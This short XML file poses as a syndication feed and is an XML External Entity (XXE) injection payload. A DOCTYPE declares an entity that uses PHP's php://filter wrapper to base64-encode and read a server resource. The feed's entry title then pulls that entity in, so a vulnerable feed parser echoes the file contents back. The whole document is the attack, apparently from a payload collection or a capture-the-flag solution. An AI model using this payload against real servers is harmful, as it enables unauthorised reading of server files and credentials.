<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=./">
]>
<feed>
    <title>test</title>
    <description>test</description>

    <entry>
      <title>&xxe;</title>
      <link href="http://example.com"></link>
      <content>Hello World!</content>
    </entry>